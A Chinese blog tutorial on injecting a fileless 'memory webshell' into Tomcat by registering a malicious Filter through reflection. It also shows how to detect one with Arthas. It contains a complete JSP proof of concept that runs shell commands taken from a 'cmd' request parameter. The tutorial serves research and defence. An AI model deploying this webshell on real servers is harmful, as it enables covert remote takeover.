[Java安全]—再探Filter内存马

news2024/11/15 8:52:30

前言

关于tomcat反序列化注入回显内存马问题中,就是通过filter内存马进行反序列化动态注册的,但filter内存马由于当时学的时候就没有学的很明白,所以打算重新回顾一下。

前置知识

Tomcat 与 Servlet 的关系

Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
  • Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化),Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收
  • Context 表示一个 Web 应用程序,而一个 Web 程序可 能有多个 Servlet(即:Wrapper)
  • Host 表示一个虚拟主机,或者说一个站点,一个 Tomcat 可以配置 多个站点(Host);一个站点( Host) 可以部署多个 Web 应用(即:Context)
  • Engine 代表 引擎, 用于管理多个站点(Host),一个 Service 只能有 一个 Engine

他们之间也就是一种父子关系:

image-20221203081413310.png

关键类

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • WebXml:存放 web.xml 中内容的类
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

原理

Servlet 有自己的过滤器filter,可以通过自定义的过滤器,来对用户的请求进行拦截等操作。

image-20220715213532387.png

经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell,所以就需要我们想办法在最前方注册一个恶意的filter并执行。

Filter注册流程

先看一个正常的demo

filter.java

package memoryshell;

import javax.servlet.*;
import java.io.IOException;

public class filter implements Filter {

    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    public void destroy() {
        System.out.println("Filter 销毁");
    }
}''
    ]]

web.xml

<filter>
    <filter-name>filterDemo</filter-name>
    <filter-class>memoryshell.filter</filter-class>
</filter>
<filter-mapping>
    <filter-name>filterDemo</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

运行后成功触发

image-20220715112206095.png

createFilterChain

在 StandardWrapperValve 中会利用 ApplicationFilterFactory的createFilterChain()方法来创建filterChain

image-20221203085929212.png

跟进看一下,先通过请求获取到了filterChains,而此时其中没有任何值为null,所以又实例化了一个ApplicationFilterChain

image-20221203101217812.png

在下方获取到了wrapper的父类,根据前置知识中的tomcat与servlet关系也不难看出,warpper的父类也就是context,而context的实现类是StandardContext,因此在下方也可看出context的类型 也就是该类型。

之后通过context获取到了filterMapper

image-20221203092230143.png

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

image-20221203092646247.png

接着在下方会对FilterMap进行遍历

image-20221203094140721.png

①:if判断,第一个matchDispatcher就不看了,就是匹配一下请求返回true,跟进下第二个matchFiltersURL()

其实就是匹配URL中的请求与与 FilterMap 中的 urlPattern中的是否一直,这里由于是/*所以直接返回true了

1%S8$G[06(ZZQ)EJD}04}JS.png

②:根据filterMap的filterName获取filterConfig(主要存放 FilterDef 和 Filter对象等信息),由于是第一轮遍历,因此也就获取到了我们自定义的filter类filterName

③:将 filterConfig 添加到 filterChain中,跟进addFilter函数

image-20221203095156354.png

在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(其实就是去重)

下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到了filters

至此filterChain就装配完了

doFilter

回到createFilterChain的位置,继续向下看,调用了doFilter()

image-20221203095757459.png

跟进后下边又调用了internalDoFilter()

this.internalDoFilter(request, response);

image-20221203100147801.png

①:pos的默认值是0,所以filterConfig取出来的数据也就是filters[0],而在createFilterChain最后的addFilter函数中提到过,最后将我们的filterConfig 添加到了filters中,所以第一条数据就是我们自定义的filter类,第二条是tomcat原生的。因此这里第一轮遍历也就是获取到了自定义的filter

②:通过getFilter()获取自定义的filter类,并将该值赋给filter属性

③:调用filter属性的doFilter方法

image-20221203100629137.png

流程总结

  1. 获取context容器,并从中取出filterMap,接着根据filterMap获取filterConfig并将它追加到了filterChains中
  2. 将filterChains中封装的filters数据,赋值给filterConfig,filterConfig通过getFilter方法获取到了自定义的filter类
  3. 调用该类的doFilter方法

内存马注入

获取context

在上边流程中提到,首先是通过StandardContext类型的context属性中获取的filterMap,那么我们如何获取这个context 呢?

当Web容器启动时,都会创建一个ServletContext上下文环境

context是ApplicationContext类型的,而ApplicationContext又是ServletContext的实现类,因此可以通过该方式,将ServletContext转为 StandardContext 从而获取context

ServletContext servletContext = req.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

还有其他的获取方法:

从线程中获取StandardContext

如果没有request对象的话可以从当前线程中获取

https://zhuanlan.zhihu.com/p/114625962

从MBean中获取

https://scriptboy.cn/p/tomcat-filter-inject/

注入内存马

解决了context问题后,可以根据上边流程发现,其实主要就是用到了三个属性filterMapfilterConfigfilterDef

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  1. 创建恶意 Filter类
        //1、创建恶意filter类
		Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    //Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }
        };

2、利用 FilterDef 对 Filter 进行封装并添加到FilterDefs中

//2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("Sentiment");
filterDef.setFilterClass(filter.getClass().getName());

// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);

3、将FilterDefs 添加到FilterConfig

//3、将FilterDefs 添加到FilterConfig
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put("Sentiment",filterConfig);

这里需要注意:

像FilterDef、FilterMap是都有对应的add方法的,但是FilterConfig没有,因此是通过反射获取filterConfigs属性进行的赋值

image-20221203125621694.png

4、创建 FilterMap ,将Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效有先后顺序,所以将自定义的filter放在最前面,让我们的 Filter 最先触发)

//4、创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("Sentiment");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);

最终POC

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field context = servletContext.getClass().getDeclaredField("context");
    context.setAccessible(true);

    // ApplicationContext 为 ServletContext 的实现类
    ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
    Field context1 = applicationContext.getClass().getDeclaredField("context");
    context1.setAccessible(true);
    // 这样我们就获取到了 context
    StandardContext standardContext = (StandardContext) context1.get(applicationContext);

    //1、创建恶意filter类
    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null){
                byte[] bytes = new byte[1024];
                Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                int len = process.getInputStream().read(bytes);
                servletResponse.getWriter().write(new String(bytes,0,len));
                process.destroy();
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }

        @Override
        public void destroy() {

        }
    };
    //2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("Sentiment");
    filterDef.setFilterClass(filter.getClass().getName());

    // 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
    standardContext.addFilterDef(filterDef);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put("Sentiment",filterConfig);

    //4、创建一个filterMap
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("Sentiment");
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    //将自定义的filter放到最前边执行
    standardContext.addFilterMapBefore(filterMap);

    out.print("Inject Success !");

%>

访问filter.jsp,注入成功

image-20221203125837558.png

成功执行命令

image-20221203125908930.png

内存马检测工具

arthas:https://arthas.aliyun.com/arthas-boot.jar

alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas (github.com)

java -jar arthas-boot.jar

选择我们 Tomcat 的进程

输入1进入进程

利用 sc *.Filter 进行模糊搜索,会列出所有调用了 Filter 的类

利用jad --source-only org.apache.jsp.filter_jsp$1 直接将 Class 进行反编译

可以监控进程,当我们访问 url 就会输出监控结果 watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'

D:\java\Java_Security\src\main\java\memoryshell>java -jar arthas-boot.jar
[INFO] arthas-boot version: 3.6.2
[INFO] Process 13212 already using port 3658
[INFO] Process 13212 already using port 8563
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 13212 org.apache.catalina.startup.Bootstrap
  [2]: 20032 org.jetbrains.idea.maven.server.RemoteMavenServer36
  [3]: 11480 org.jetbrains.jps.cmdline.Launcher
  [4]: 19916
1
[INFO] arthas home: C:\Users\del'l'\.arthas\lib\3.6.2\arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658
  ,---.  ,------. ,--------.,--.  ,--.  ,---.   ,---.
 /  O  \ |  .--. ''--.  .--'|  '--'  | /  O  \ '   .-'
|  .-.  ||  '--'.'   |  |   |  .--.  ||  .-.  |`.  `-.
|  | |  ||  |\  \    |  |   |  |  |  ||  | |  |.-'    |
`--' `--'`--' '--'   `--'   `--'  `--'`--' `--'`-----'

wiki       https://arthas.aliyun.com/doc
tutorials  https://arthas.aliyun.com/doc/arthas-tutorials.html
version    3.6.2
main_class
pid        13212
time       2022-12-03 12:10:04

[arthas@13212]$ sc *.Filter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.AbstractMatcherFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.EvaluatorFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.Filter
javax.servlet.Filter
javax.servlet.GenericFilter
memoryshell.filter
org.apache.catalina.filters.CsrfPreventionFilter
org.apache.catalina.filters.CsrfPreventionFilterBase
org.apache.catalina.filters.FilterBase
org.apache.catalina.filters.HttpHeaderSecurityFilter
org.apache.jsp.filter_jsp$1
org.apache.tomcat.websocket.server.WsFilter
Affect(row-cnt:12) cost in 7 ms.
[arthas@13212]$ jad --source-only org.apache.jsp.filter_jsp$1
        /*
         * Decompiled with CFR.
         *
         * Could not load the following classes:
         *  javax.servlet.Filter
         *  javax.servlet.FilterChain
         *  javax.servlet.FilterConfig
         *  javax.servlet.ServletException
         *  javax.servlet.ServletRequest
         *  javax.servlet.ServletResponse
         *  javax.servlet.http.HttpServletRequest
         */
        package org.apache.jsp;

        import java.io.IOException;
        import javax.servlet.Filter;
        import javax.servlet.FilterChain;
        import javax.servlet.FilterConfig;
        import javax.servlet.ServletException;
        import javax.servlet.ServletRequest;
        import javax.servlet.ServletResponse;
        import javax.servlet.http.HttpServletRequest;

        class filter_jsp.1
        implements Filter {
            filter_jsp.1() {
            }

            public void init(FilterConfig filterConfig) throws ServletException {
            }

            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
/*173*/         HttpServletRequest req = (HttpServletRequest)servletRequest;
/*174*/         if (req.getParameter("cmd") != null) {
/*175*/             byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
/*178*/             int len = process.getInputStream().read(bytes);
/*179*/             servletResponse.getWriter().write(new String(bytes, 0, len));
/*180*/             process.destroy();
/*181*/             return;
                }
/*183*/         filterChain.doFilter(servletRequest, servletResponse);
            }

            public void destroy() {
            }
        }

[arthas@13212]$ watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
Press Q or Ctrl+C to abort.
Affect(class count: 1 , method count: 1) cost in 71 ms, listenerId: 1
method=org.apache.catalina.core.ApplicationFilterFactory.createFilterChain location=AtExit
ts=2022-12-03 12:23:35; [cost=0.7065ms] result=@ArrayList[
    @String[org.apache.jsp.filter_jsp$1],
    @String[memoryshell.filter],
    @String[org.apache.tomcat.websocket.server.WsFilter],
]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/57006.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Python私活案例]24行代码,轻松赚取400元,运用Selenium爬取39万条数据

今天分享一单来自金主爸爸的私单&#xff0c;运用简单的爬虫技巧&#xff0c;可以有效的规避反爬机制&#xff0c;正所谓“你有张良计&#xff0c;我有过云梯”。这个案例也很好的体现了python语音的优势&#xff0c;规避了非常复杂的底层逻辑&#xff0c;所见即所得&#xff0…

你真的看懂扩散模型(diffusion model)了吗?(从DALL·E 2讲起,GAN、VAE、MAE都有)

本文全网原创于CSDN&#xff1a;落难Coder &#xff0c;未经允许&#xff0c;不得转载&#xff01; 扩散模型简单介绍 我们来讲一下什么是扩散模型&#xff0c;如果你不了解一些工作&#xff0c;你可能不清楚它究竟是什么。那么我举两个例子说一下&#xff1a;AI作画&#xff…

分布滞后线性和非线性模型(DLNM)分析空气污染(臭氧)、温度对死亡率时间序列数据的影响...

全文下载链接 http://tecdat.cn/?p23947 分布滞后非线性模型&#xff08;DLNM&#xff09;表示一个建模框架&#xff0c;可以灵活地描述在时间序列数据中显示潜在非线性和滞后影响的关联。该方法论基于交叉基的定义&#xff0c;交叉基是由两组基础函数的组合表示的二维函数空间…

为什么要让img浮动:

为什么要浮动&#xff1a; 图片不浮动的话&#xff0c;图片和文字是像下面这样排版的&#xff1a; 代码&#xff1a; <img src"https://static.maizuo.com/pc/v5/usr/movie/1f25dd6943762288dfd84b961c98f478.jpg" /> <div><div>红发歌姬</d…

OpenAI发布ChatGPT:程序员瞬间不淡定了

OpenAI发布ChatGPT&#xff1a;程序员瞬间不淡定了 12月1日&#xff0c;OpenAI发布了针对对话场景优化的语言大模型ChatGPT。ChatGPT是InstructGPT的兄弟模型&#xff0c;可以以对话的形式与用户交互&#xff0c;这使得ChatGPT能够回答问题、承认错误、质疑假设、拒绝不当问题…

时尚品牌Gucci 的Web3元宇宙营销进行时ing

Gucci 宣布在 The Sandbox 中推出 “Gucci Vault Land” 古驰藏宝阁 —— 元宇宙中心 &#xff0c;成为第一个在 The Sandbox 虚拟世界中拥有专门用于 Web3 产品的主流时尚品牌。Gucci 美学概念空间开放日&#xff1a;10月27日-11月 9 日 2022 年 Gucci Vault Land建立虚拟世界…

数据结构薄弱知识点

数据结构串KMP算法树二叉树二叉树的基本概念二叉树的遍历&#xff08;&#xff01;非递归实现&#xff09;先序遍历中序遍历后序遍历&#xff08;&#x1f538;非递归实现&#xff09;&#x1f536;线索二叉树找先序遍历的前驱节点&#xff08;&#x1f538;&#xff09;和后继…

Spring学习:二、Bean的管理

4. Bean的管理 ​ Spring的基本Bean管理包括Bean配置&#xff0c;Bean实例化和Bean的依赖注入。这些管理可以通过手工编码的方式把每个Bean注册到容器中&#xff0c;也可以通过properties文件和xml文件配置Bean和Bean之间的依赖关系。通常我们的配置方式是XML作为配置文件。 …

基于纳芯微产品的尾灯方案介绍

文章目录1.前言2.方案简介2.1 概述2.2 功能介绍2.3 DEMO资料3.主要器件介绍3.1 LED Driver3.2 LDO3.3 CAN\LIN收发器4.演示视频5.推荐阅读1.前言 最近拜访一些做尾灯模组的客户了解到&#xff0c;目前LED Driver依然紧缺&#xff0c;特别是TPS929120&#xff0c;BD18331这些差…

网络编程,UDP通信程序,TCP通信程序

一、网络编程 网络编程概述 网络编程 : 在网络[通信协议]下&#xff0c;不同计算机上运行的程序&#xff0c;可以进行[数据传输] 思考&#xff1a; A电脑中的QQ&#xff0c;发送消息给B电脑中的QQ。那么需要知道[哪些条件]才能发送&#xff1f; 在这个故事场景下&…

GitHub 的基本使用

文章目录一、使用前工作二、GitHub 的基本使用一、使用前工作 下载 uu 加速器&#xff0c;用于访问 GitHub 网站&#xff08;有魔法工具的小伙伴请忽略&#xff09;&#xff1b;uu 加速器下载安装完毕后搜索框搜索学术资源并点击加速&#xff08;如图1.2.1&#xff09;&#xf…

【Android App】人脸识别中使用Opencv比较两张人脸相似程度实战(附源码和演示 超详细)

需要全部代码请点赞关注收藏后评论区留言私信~~~ 一、比较两张人脸的相似程度 直方图由一排纵向的竖条或者竖线组成&#xff0c;横轴代表数据类型&#xff0c;纵轴代表数据多少。 图像直方图经常应用于特征提取、图像匹配等方面。 假设有两幅图像&#xff0c;它们的直方图很相…

Vue项目devServer.proxy代理配置详解

Vue项目devServer.proxy代理配置详解目录概述需求&#xff1a;设计思路实现思路分析1..config.js文件中&#xff0c;引入依赖项2.devServer.proxy 可以是一个指向开发环境 API 服务器的字符串3.更多控制行为参考资料和推荐阅读Survive by day and develop by night. talk for i…

语言模型也会“地域黑”?实验表明ALBERT最能黑,BART最友善

文 | ZenMoore前言今天我们来谈论一个不那么硬核的问题&#xff1a;预训练语言模型中的歧视与偏见(bias)。这个问题虽然不像技术问题那样核心&#xff0c;但仍然非常重要。想象一下&#xff1a;你接到了一笔外交级别的订单&#xff0c;要做一个生成语言模型&#xff0c;先不论效…

NNDL 实验七 循环神经网络(3)LSTM的记忆能力实验

文章目录6.3 LSTM的记忆能力实验6.3.1 模型构建6.3.1.1 LSTM层6.3.1.2 模型汇总6.3.2 模型训练6.3.2.1 训练指定长度的数字预测模型6.3.2.2 多组训练6.3.2.3 损失曲线展示【思考题1】LSTM与SRN实验结果对比&#xff0c;谈谈看法。&#xff08;选做&#xff09;6.3.3 模型评价6.…

Android OpenGL ES 学习(六) – 使用 VBO、VAO 和 EBO/IBO 优化程序

OpenGL 学习教程 Android OpenGL ES 学习(一) – 基本概念 Android OpenGL ES 学习(二) – 图形渲染管线和GLSL Android OpenGL ES 学习(三) – 绘制平面图形 Android OpenGL ES 学习(四) – 正交投屏 Android OpenGL ES 学习(五) – 渐变色 代码工程地址&#xff1a; https://…

【ARIMA时序预测】基于ARIMA实现时间序列数据预测附matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法 …

Unity常用的三种拖拽方法(内置方法 + 接口 + Event Trigger组件)

目录 内置方法OnMouseDrag【对象含有Collider组件】 配对小游戏 Event Trigger组件 接口 窗口小案例 内置方法OnMouseDrag【对象含有Collider组件】 OnMOuseOver()检测鼠标是否进入到这个2D贴图 当鼠标进入或离开2D贴图&#xff0c;会相应的放大、缩小 private void OnMo…

[附源码]计算机毕业设计springboot校园快递柜存取件系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

山外山通过注册:拟募资12亿 大健康与华盖信诚是股东

雷递网 雷建平 12月2日重庆山外山血液净化技术股份有限公司&#xff08;简称&#xff1a;“山外山”&#xff09;日前通过注册&#xff0c;准备在科创板上市。山外山计划募资12.47亿元&#xff0c;其中&#xff0c;8.63亿用于血液净化设备及高值耗材产业化项目&#xff0c;1.64…